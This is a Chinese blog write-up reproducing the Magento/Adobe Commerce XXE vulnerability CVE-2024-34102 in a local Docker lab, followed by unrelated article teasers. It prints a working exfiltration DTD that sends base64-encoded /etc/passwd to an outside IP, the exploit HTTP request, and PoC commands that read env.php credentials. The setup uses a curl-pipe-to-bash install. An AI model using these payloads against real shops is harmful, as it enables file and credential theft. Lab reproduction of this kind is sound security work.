当前位置: 首页 > news >正文

【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录

漏洞介绍

影响版本

环境搭建

查看版本

漏洞复现

手动复现

漏洞 poc


  • Magento Open Source 是一个免费开源的电子商务平台,适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持,功能强大但需要更多的技术投入。
  • Adobe Commerce 是 Magento 的付费版,增加了高级功能、托管服务、技术支持和企业工具,适合需要复杂功能和高性能支持的大型企业。

Magento Open Source 和 Adobe Commerce 都属于 Adobe 公司。它们来源于同一个平台:Magento,最初由 Magento, Inc. 开发,但后来在 2018 年被 Adobe 收购。在收购后,Adobe 将 Magento 平台重新划分为两种版本:Magento Open Source(社区版)和Adobe Commerce(企业版)。

漏洞介绍

Adobe Commerce和Magento Open Sourc多个受影响版本中存在XML外部实体引用限制不当,未经身份验证的威胁者可发送引用外部实体的恶意设计的 XML文档来利用该漏洞,成功利用可能导致任意代码执行。

影响版本

Adobe Commerce 和 Magento Open Source

  • 2.4.7-p1 and earlier
  • 2.4.6-p6 and earlier
  • 2.4.5-p8 and earlier
  • 2.4.4-p9 and earlier

环境搭建

安装 Magento 需要 至少 6GB 的 RAM 分配给 Docker。这是因为 Magento 是一个复杂且资源密集的电子商务平台,安装过程中需要运行多个服务和工具。

  • 系统:ubuntu2020
  • 版本:Magento Open Source 2.4.7

安装方法,参考:https://github.com/markshust/docker-magento/?tab=readme-ov-file#new-projects

mkdir -p ~/Sites/magento
cd $_
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/template | bash
bin/download community 2.4.7 community
bin/setup magento.test

禁用 Magento 的双重认证模块,避免每次登录时输入验证码。

docker exec -it magento-phpfpm-1 bash
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth

然后绑定下 host 文件,访问:https://magento.test


如果访问网站响应非常慢,建议切换到生产模式。默认安装后在开发模式下运行,所有的配置和静态内容会在每次请求时动态加载,这会导致较慢的页面加载时间。

切换到 生产模式(production mode):

bin/magento deploy:mode:set production

如果在安装的时候,访问 Magento 需要密钥。username 为 public-key。Password 为 private-key

获取密钥的方式如下:

  1. 到官方注册 Magento 账号:Sign in
  2. 登录 Marketplace,打到My Profile 的 Access Keys 页面新建一个自己的 Access Key。或直接进入页面:Sign in

查看版本

bin/magento --version

漏洞复现

手动复现

1. 编辑 poc.xml 文件,读取 /etc/passwd 文件

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.67.147:80/poc.xml?%data;'>">

然后在当前目录启动一个 web 服务:http://192.168.67.147:80/poc.xml

python -m http.server 80

2. 构造请求利用 XXE 读取文件

POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: magento.test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 267{"address": {"totalsReader": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://192.168.67.147:80/poc.xml\"> %sp; %param1; ]> <r>&exfil;</r>", "options":12345678 }}}}}}

漏洞 poc

poc:https://github.com/bigb0x/CVE-2024-34102,这里 poc 需要修改一下,将其中的 options 值修改为 12345678,否则有些文件读取不出来

cve-2024-34102.py -u https://magento.test -ip 本地ip -p 端口 -r /etc/passwd

读取 /var/www/html/app/etc/env.php 文件,这个文件定义了 Magento 的数据库连接信息,以及其他服务如 Elasticsearch、RabbitMQ 等服务的连接信息

cve-2024-34102.py -u https://magento.test -ip 192.168.67.147 -p 80 -r /var/www/html/app/etc/env.php

参考:

http://www.bmth666.cn/2024/06/28

相关文章:

【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录 漏洞介绍 影响版本 环境搭建 查看版本 漏洞复现 手动复现 漏洞 poc Magento Open Source 是一个免费开源的电子商务平台&#xff0c;适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持&#xff0c;功能强大但需要更多的技术投入。Adobe…...

soul大数据面试题及参考答案

如何看待数据仓库? 数据仓库是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合,用于支持管理决策。 从数据存储角度看,它整合了来自多个数据源的数据。这些数据源可能包括业务系统数据库、日志文件等各种结构化和非结构化数据。例如,在电商企业中,它会整合订…...

GLM-4-Plus初体验

引言&#xff1a;为什么高效的内容创作如此重要&#xff1f; 在当前竞争激烈的市场环境中&#xff0c;内容创作已成为品牌成功的重要支柱。无论是撰写营销文案、博客文章、社交媒体帖子&#xff0c;还是制作广告&#xff0c;优质的内容不仅能够帮助品牌吸引目标受众的注意力&a…...

基于springboot+vue的高校校园交友交流平台设计和实现

文章目录 系统功能部分实现截图 前台模块实现管理员模块实现 项目相关文件架构设计 MVC的设计模式基于B/S的架构技术栈 具体功能模块设计系统需求分析 可行性分析 系统测试为什么我&#xff1f; 关于我项目开发案例我自己的网站 源码获取&#xff1a; 系统功能 校园交友平台…...

Nacos 3.0 Alpha 发布,在安全、泛用、云原生更进一步

自 2021 年发布以来&#xff0c;Nacos 2.0 在社区的支持下已走过近三年&#xff0c;期间取得了诸多成就。在高性能与易扩展性方面&#xff0c;Nacos 2.0 取得了显著进展&#xff0c;同时在易用性和安全性上也不断提升。想了解更多详细信息&#xff0c;欢迎阅读我们之前发布的回…...

【前端开发】HTML+CSS网页,可以拿来当作业(免费开源)

HTML代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content_lizhongyu"widthdevice-width, initial-scale1.0"><title>小兔鲜儿-新鲜、惠民、快捷<…...

【人工智能-中级】卷积神经网络(CNN)的中阶应用:从图像分类到目标检测

文章目录 卷积神经网络(CNN)的中阶应用:从图像分类到目标检测1. 图像分类:CNN的基础应用CNN结构概述经典网络架构2. 目标检测:从分类到定位基于区域的目标检测方法单阶段目标检测方法边界框回归与NMS(Non-Maximum Suppression)3. 深度学习中的目标检测挑战与解决方案4. …...

[笔记] 编译LetMeowIn(C++汇编联编程序)过程

文章目录 前言过程下载源码vs2017 创建空项目 引入编译文件改项目依赖属性改汇编编译属性该项目还需注意编译运行 总结 前言 编译LetMeowin 项目发现是个混编项目&#xff0c;c调用汇编的程序&#xff0c;需要配置一下&#xff0c;特此记录一下 过程 下载源码 首先下载源码…...

牛客小白月赛107(A~E)

文章目录 A Cidoai的吃饭思路code B Cidoai的听歌思路code C Cidoai的植物思路code D Cidoai的猫猫思路code E Cidoai的可乐思路code 牛客小白月赛107 A Cidoai的吃饭 思路 签到题&#xff0c;按题意模拟即可 code void solve(){int n,a,b,c;cin >> n >> a &g…...

批量DWG文件转换低版本(CAD图转低版本)——c#插件实现

此插件可实现指定路径下所有dwg文件&#xff08;包含子文件夹内dwg&#xff09;一键全部转为低版本&#xff08;包含2004、2007、2018版本&#xff0c;也可定制指定版本&#xff09;。效果如下&#xff1a; &#xff08;使用方法&#xff1a;命令行输入 “netload” 加载插件&…...

安装Python库

安装Python库 一、pip安装参数--no-deps 更换下载源&#xff0c;一劳永逸 二、conda下载 一、pip安装 换源安装并且信任该下载源 pip install pipenv -i http://pypi.douban.com/simple --trusted-host pypi.douban.com参数 –no-deps ​ 有些 packages 会依赖一些其它的 p…...

智慧政务数据中台建设及运营解决方案

数据中台&#xff1a;政府数字化转型的引擎 数据中台作为政府数字化转型的核心驱动力&#xff0c;起源于美军的作战体系&#xff0c;强调高效、灵活与强大。它不仅促进了政府决策的科学性&#xff0c;还推动了政府服务的精细化与智能化。 数据中台的应用场景&#xff1a;数字…...

陪玩系统小程序源码/游戏陪玩APP系统用户端有哪些功能?游戏陪玩小程序APP源码开发

多客陪玩系统-游戏陪玩线下预约上门服务等陪玩圈子陪玩社区系统源码 陪玩系统源码&#xff0c;高质量的陪玩系统源码&#xff0c;游戏陪玩APP源码开发&#xff0c;语音陪玩源码搭建: 线上陪玩活动组局与线下家政服务系统的部署需要综合考虑技术选型、开发流程、部署流程、功能实…...

米哈游大数据面试题及参考答案

怎么判断两个链表是否相交?怎么优化? 判断两个链表是否相交可以采用多种方法。 一种方法是使用双指针。首先分别遍历两个链表,得到两个链表的长度。然后让长链表的指针先走两个链表长度差的步数。之后,同时移动两个链表的指针,每次比较两个指针是否指向相同的节点。如果指…...

使用Hydra库简化配置管理

使用Hydra库简化配置管理 简介 在现代软件开发中&#xff0c;配置管理是至关重要的。应用程序的灵活性和可维护性很大程度上取决于其如何处理配置。Hydra是一个由Facebook AI Research (FAIR) 开发的Python库&#xff0c;它旨在简化复杂应用的配置过程。Hydra使得开发者可以轻…...

二维数组和函数

文章目录 1、课程代码 #include <bits/stdc.h> using namespace std;//定义函数 /*函数名的命名规则和变量是一致的 函数的返回值数据类型 函数名(形式参数){函数体 } */ //自己写乘方pow这个函数 pow(2,3) int p(int a,int b); int p(int a,int b){int s1;for(i…...

如何在 Ubuntu 终端中打开当前文件夹的图形界面

文章目录 1. 简介2. 方法一&#xff1a;使用 Nautilus 文件管理器3. 方法二&#xff1a;使用通用命令 xdg-open4. 方法三&#xff1a;使用其他文件管理器5. 推荐方案6. 参考资料 1. 简介 在日常使用 Linux 系统时&#xff0c;我们常常会在终端中执行各种操作。有时&#xff0c…...

基于SpringBoot的嗨玩旅游网站:一站式旅游信息服务平台的设计与实现

摘要 在旅游需求日益增长的今天&#xff0c;一个全面、便捷的旅游信息服务平台显得尤为重要。嗨玩旅游网站正是为了满足这一需求而设计的在线平台&#xff0c;它提供了包括景点信息、旅游线路、商品信息、社区信息和活动推广等在内的丰富旅游目的地信息&#xff0c;旨在帮助用…...

Opencv之图像梯度处理和绘制图像轮廓

一、梯度处理的sobel算子函数 处理示意 Sobel 算子是一种常用的图像边缘检测方法&#xff0c;结合了一阶导数和高斯平滑&#xff0c;用于检测图像的梯度信息。 1、功能 Sobel 算子用于计算图像在 x 和 y 方向的梯度&#xff0c;主要功能包括&#xff1a; 强调图像中灰度值的…...

vue3的watch一次性监听多个值用法

vue3的watch一次性监听多个值 1、监听单个值 watch(() > route.params.keyword, (newValue, oldValue) > {console.log(监听值变化, newVal, oldVal)state.a newValue});2、监听多个值 watch(() > [route.params.id, route.params.keyword], (newValue, oldValue) &g…...

如何用 AI Agent Harness Engineering 重构企业生产流程:一套可复制的落地方法论

如何用AI Agent Harness Engineering重构企业生产流程&#xff1a;一套从0到亿可复制的落地方案书关键词&#xff1a;AI Agent、Harness Engineering、企业生产流程重构、智能协作体、低代码Agent编排、端到端流程自动化、ROI可验证落地摘要&#xff1a;当ChatGPT引爆通用人工智…...

终极热键冲突检测指南:3分钟定位Windows快捷键失效元凶

终极热键冲突检测指南&#xff1a;3分钟定位Windows快捷键失效元凶 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你是否曾…...

ParaView实战:5分钟搞定热流图单元格体积计算(附Python脚本)

ParaView热流分析实战&#xff1a;从单元格体积计算到三维可视化全流程指南 在计算流体力学和热传导分析中&#xff0c;准确获取网格单元的体积数据是后续量化分析的基础。许多工程师在处理复杂几何体的热流分布时&#xff0c;常常陷入繁琐的手动计算或复杂的编程工作中。实际上…...

Retinaface+CurricularFace人脸识别:高清人脸比对效果案例分享

RetinafaceCurricularFace人脸识别&#xff1a;高清人脸比对效果案例分享 1. 开篇&#xff1a;为什么选择这个组合方案 人脸识别技术已经渗透到我们生活的方方面面&#xff0c;从手机解锁到机场安检&#xff0c;从考勤打卡到金融认证。但在实际应用中&#xff0c;一个稳定可靠…...

终极Nintendo Switch文件解析工具:NSTool完整使用指南

终极Nintendo Switch文件解析工具&#xff1a;NSTool完整使用指南 【免费下载链接】nstool General purpose read/extract tool for Nintendo Switch file formats. 项目地址: https://gitcode.com/gh_mirrors/ns/nstool Nintendo Switch Tool&#xff08;简称NSTool&am…...

c语言实战:基于快马平台ai生成可部署的tcp聊天室服务器

今天想和大家分享一个用C语言实现的TCP聊天室服务器项目&#xff0c;这个项目完全在InsCode(快马)平台上完成&#xff0c;从代码生成到调试部署一气呵成。作为一个网络编程的经典案例&#xff0c;这个聊天室服务器涵盖了socket编程、多线程处理、IO复用等核心知识点&#xff0c…...

新手零基础入门网络自动化:快马AI带你写出第一个设备信息采集脚本

作为一名刚接触网络自动化运维的新手&#xff0c;我最近在InsCode(快马)平台上尝试了第一个设备信息采集脚本的编写。整个过程比我预想的要简单很多&#xff0c;尤其是平台提供的AI辅助功能&#xff0c;让我这个零基础用户也能快速上手。下面分享我的学习笔记和实际操作心得。 …...

从零开始掌握DAO、DTO、DO等模型对象:开发中的核心概念解析

1. 为什么需要这么多对象模型&#xff1f; 刚入行的时候&#xff0c;我也被各种O搞晕过。DAO、DTO、DO、VO...这些看起来差不多的缩写&#xff0c;到底有什么区别&#xff1f;为什么不能用一个对象搞定所有事情&#xff1f;直到有次在项目里把所有数据都用Map传递&#xff0c;结…...

electron+ruoyi-vue深度整合指南:从web到桌面的完整改造方案

ElectronRuoYi-Vue企业级桌面应用深度整合实战 企业级应用从Web向桌面端迁移已成为提升用户体验的重要路径。作为国内广泛使用的开源后台管理系统&#xff0c;RuoYi-Vue与Electron的结合能够快速构建跨平台桌面应用。但真正实现企业级稳定运行&#xff0c;需要解决主进程通信、…...

智能编程伙伴:让快马ai辅助你优化与调试keil嵌入式项目代码

智能编程伙伴&#xff1a;让快马AI辅助你优化与调试Keil嵌入式项目代码 最近在Keil MDK环境下开发STM32G474RET6的精密数据采集系统时&#xff0c;遇到了ADC采样噪声大和实时性不足的问题。作为一个嵌入式开发者&#xff0c;这些问题直接影响系统的精度和响应速度。通过使用In…...